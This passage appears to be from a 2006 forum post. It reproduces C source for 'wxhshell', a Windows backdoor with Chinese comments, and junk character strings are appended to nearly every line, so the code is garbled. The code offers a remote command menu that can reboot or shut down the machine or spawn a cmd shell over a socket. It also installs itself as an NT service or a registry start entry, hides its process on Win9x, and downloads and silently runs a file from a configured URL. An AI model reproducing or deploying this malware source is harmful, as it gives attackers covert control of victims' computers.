  // 帮助 8gwJ%"-K  
  case '?': {  5 fY\0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JYB"\VV  
    break; n=!]!'h\:  
  } flDe*F^  
  // 安装 #D~atgR  
  case 'i': { >Vz Gx(7q  
    if(Install()) (~}IoQp>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >U.TkB  
    else |3`Sd;^;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )/kkvI()l  
    break; +U_> Bo  
    } S'm&Ll2i@  
  // 卸载 G,I[zhX\  
  case 'r': { v J9Uw  
    if(Uninstall()) c+chwU0W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m|!R/,>S4  
    else L1ZhH3}X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m-9{@kgAM?  
    break; %> Z;/j|#r  
    } qXPjxTg{[  
  // 显示 wxhshell 所在路径 o5?f]Uq5 ,  
  case 'p': { b)RU+9x &  
    char svExeFile[MAX_PATH]; OEmz`JJ67  
    strcpy(svExeFile,"\n\r"); J4 [7*v  
      strcat(svExeFile,ExeFile); UUi@ U  
        send(wsh,svExeFile,strlen(svExeFile),0); GADbXp3  
    break; \o3)\ e]o  
    } Nr)v!z~y   
  // 重启 ][3H6T!ckL  
  case 'b': { pwAawm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ={,\6a|]:  
    if(Boot(REBOOT)) t"Ok-!c|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_Iy8rv:P  
    else { 'X&sH/>r  
    closesocket(wsh); ov&4&v  
    ExitThread(0); I@IZ1 /J,r  
    } by; %k/  
    break; dx}) 1%  
    } B@g 0QgA  
  // 关机 ~?i;~S  
  case 'd': { 5VI c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8sb<$M$c  
    if(Boot(SHUTDOWN)) #G2~#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#x <qi,T  
    else { .w=( G  
    closesocket(wsh); Y/cnj n  
    ExitThread(0); }pOL[$L  
    } (3 xCW  
    break; ;mH O#  
    } G?D7R/0)  
  // 获取shell l",JN.w  
  case 's': { *6D0>F  
    CmdShell(wsh); _aa3;kT_  
    closesocket(wsh); J60XUxf  
    ExitThread(0); 5u +U^D  
    break; 'q%56WAJ  
  } s%F}4W2s  
  // 退出 ArWMbT>Zqw  
  case 'x': { 6[fpe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ay\=&4dv  
    CloseIt(wsh);  eX7dyM  
    break; ~/Gx~P]  
    } /Y$UJt  
  // 离开 eF+:w:\h  
  case 'q': { g-`HKoKe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C "XvspJ  
    closesocket(wsh); bH4'j/3  
    WSACleanup(); hu}`,2  
    exit(1); V5w00s5?%  
    break; tGHZU^B:}  
        } 0kxo  
  } "F A&Qm0  
  } R gY-fc0  
JGQlx-qv  
  // 提示信息 M#o.$+Uh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >i^8K U  
} 4qMqA T  
  } b[&A,ZPh$@  
'&/ 35d9|*  
  return; >iD&n4TK  
} egQB!%D  
W4n;U-Hb  
// shell模块句柄 NA%M)u{|  
int CmdShell(SOCKET sock) H",w$$e F  
{ Zzy!D  
STARTUPINFO si; %Jy0?WN  
ZeroMemory(&si,sizeof(si)); ]WlE9z7:8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /d;C)%$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gx Z'"x  
PROCESS_INFORMATION ProcessInfo; TG4?"0`I5  
char cmdline[]="cmd"; B#RBR<MFC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1>hY!nG h  
  return 0; y/U(v"'4U  
} g'2'K  
kA3nhBH  
// 自身启动模式 6*yt^[W  
int StartFromService(void) Qtj.@CGB  
{ !RX\">z  
typedef struct 05= $Dnv  
{ /{Ff)<Q.Z  
  DWORD ExitStatus; I5EKS0MQ!  
  DWORD PebBaseAddress; 8!8 yA  
  DWORD AffinityMask; )1 ]P4  
  DWORD BasePriority; 4n6EkTa  
  ULONG UniqueProcessId; /ZC/yGdIS_  
  ULONG InheritedFromUniqueProcessId; U caLi&  
}   PROCESS_BASIC_INFORMATION; qKoD*cl)Za  
Uc oVp}vl  
PROCNTQSIP NtQueryInformationProcess; "rhU2jT=c  
A4 ;EtW+F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z&fXxp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qm RdO R  
u!kC+0Y  
  HANDLE             hProcess; :[icd2JCw]  
  PROCESS_BASIC_INFORMATION pbi; ,w>WuRN"  
mqw5\7s?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hf5yTs  
  if(NULL == hInst ) return 0; 2.''Nt6|  
fL^+Qb}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >q W_%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c6 O1Z\M@\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kmfz=q?  
2R}9wDP  
  if (!NtQueryInformationProcess) return 0; -+1_ 1!  
7G,{BBB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Z9_sd~/6  
  if(!hProcess) return 0; m417=wf  
b.=bgRV2{x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fh2$,$ 2  
xd[GJ;xvs  
  CloseHandle(hProcess); %N((p[\H  
| %E\?-TK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y"N7r1Pf  
if(hProcess==NULL) return 0; <*D{uMw  
,&+"|,m  
HMODULE hMod; Gyo[C98  
char procName[255]; 66A}5b4)]  
unsigned long cbNeeded; oW0A8_|9  
|>w>}w`~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cJb.@8^J  
8:W," "  
  CloseHandle(hProcess); )8BGN'jyi  
 m}t.E  
if(strstr(procName,"services")) return 1; // 以服务启动 _8*}S=  
4k}3^.#  
  return 0; // 注册表启动 )- 2sk@y  
} 9 \2<#,R1q  
< 5 Ft3sd  
// 主模块 >j5,Z]  
int StartWxhshell(LPSTR lpCmdLine) h8R3N?S3#  
{ R$[nYw  
  SOCKET wsl; XwI~ 0  
BOOL val=TRUE; ~ ^)D#Lo  
  int port=0; xZmO^F5KHj  
  struct sockaddr_in door; G)p pkH`qj  
Cxn<#Kf\-<  
  if(wscfg.ws_autoins) Install(); *t_"]v-w  
"EA6RFRD  
port=atoi(lpCmdLine); N?Wx-pK  
E;$;g#ksf  
if(port<=0) port=wscfg.ws_port; BQX6Q<  
nIRJ5|G(  
  WSADATA data; rE:"8d}z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h$F.(NIYe  
zDEX `~c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J<p.J3I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M:%6$``  
  door.sin_family = AF_INET; 8KxBN)fO;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |I; tBqN{u  
  door.sin_port = htons(port); 1iS]n;xcl/  
HIK" Ce  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )<J|kC\r6c  
closesocket(wsl); j`fQN  
return 1; ll]MBq  
} KKrLF?rc  
Z%h _g-C  
  if(listen(wsl,2) == INVALID_SOCKET) { [ " n+2;  
closesocket(wsl); hDO\Q7  
return 1; Vrwy+o>:X  
} -4rXOmiA  
  Wxhshell(wsl); :v=^-&t  
  WSACleanup(); n*'i{P]  
,F&TSzH[@v  
return 0; O)0}yF$0  
@D?KS;#  
} =r w60B  
E_fH,YJ?9  
// 以NT服务方式启动 |E%i t?3M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x,U '!F  
{ 0 _!')+  
DWORD   status = 0; 2sezZeMV  
  DWORD   specificError = 0xfffffff; tHhau.!  
{6_M$"e.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8R3x74fL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pUGFQ."\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W6e,S[J^FY  
  serviceStatus.dwWin32ExitCode     = 0; \&{a/e2:S  
  serviceStatus.dwServiceSpecificExitCode = 0; M2pe*z  
  serviceStatus.dwCheckPoint       = 0; >9WJa5{  
  serviceStatus.dwWaitHint       = 0; UN FQ`L  
[`F}<L."  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S]}hh,A  
  if (hServiceStatusHandle==0) return; w^ AY= Fc  
$nkvp`A  
status = GetLastError(); _H,xnh#nZ  
  if (status!=NO_ERROR) cO8':P5Q  
{ :.k1="H~@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {V8yJ{.G  
    serviceStatus.dwCheckPoint       = 0; 3"*tP+H  
    serviceStatus.dwWaitHint       = 0; fbTq?4&Q  
    serviceStatus.dwWin32ExitCode     = status; )S:,q3gxJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; \?$`dA[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;\N )RZ  
    return; Rm&^[mv  
  } Z[ NO`!<  
li @:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qu  x1N  
  serviceStatus.dwCheckPoint       = 0; m1 tYDZ"i  
  serviceStatus.dwWaitHint       = 0; <Ny DrO"C3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + :IwP  
} p\'0m0*   
6#J>b[Q  
// 处理NT服务事件,比如:启动、停止 yt5 Sy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N$!aP/b  
{ *?JNh;  
switch(fdwControl) 1Fg*--8[r  
{ A^2n i=b  
case SERVICE_CONTROL_STOP: |;(95  
  serviceStatus.dwWin32ExitCode = 0; P&>!B,f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q&DM*!Jq  
  serviceStatus.dwCheckPoint   = 0; ~nVO%IxM4J  
  serviceStatus.dwWaitHint     = 0; azs lNL  
  { gNWTzz<[f>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [%0{7pz}  
  } rN3qTp  
  return; g3Xa b  
case SERVICE_CONTROL_PAUSE: l.@v@T(/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hf JeVT-/v  
  break; +HXR ))X  
case SERVICE_CONTROL_CONTINUE: 8opd0'SNaB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rW P -Rm  
  break; o]@Mg5(8Q  
case SERVICE_CONTROL_INTERROGATE: Q)IL]S  
  break; I[l8@!0  
}; f}!Eu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aPwUC:>`D  
} up@I,9C/  
8PB 8h  
// 标准应用程序主函数 L0Ycf|[s,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +W%3VV$  
{ *el~sor;S  
{!L25  
// 获取操作系统版本 NimW=X;c  
OsIsNt=GetOsVer(); N^TE ;BM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ Y&UP  
XkEJ_;:  
  // 从命令行安装 joRrsxFU  
  if(strpbrk(lpCmdLine,"iI")) Install(); +%~/~1  
q:/3uC7   
  // 下载执行文件 pBxyq"z  
if(wscfg.ws_downexe) { W5^<4Ya!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ${F4x"x  
  WinExec(wscfg.ws_filenam,SW_HIDE); zR!p-7_w  
} <k'%rz  
uxOeD%Z>  
if(!OsIsNt) { &)$}Nk  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?;YymD_  
HideProc(); MS~+P'  
StartWxhshell(lpCmdLine); JW}O`H9  
} ln2lFfz  
else %K[u  
  if(StartFromService()) qRc Y(mb  
  // 以服务方式启动 Q H 57[Yg  
  StartServiceCtrlDispatcher(DispatchTable); J Q% D6b  
else 7C>5XyyJ  
  // 普通方式启动 ~-tKMc).X  
  StartWxhshell(lpCmdLine); lDX\"Fq  
=j~vL`d2]  
return 0; a/{M2  
}
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只看该作者 1 发表于: 2006-10-10
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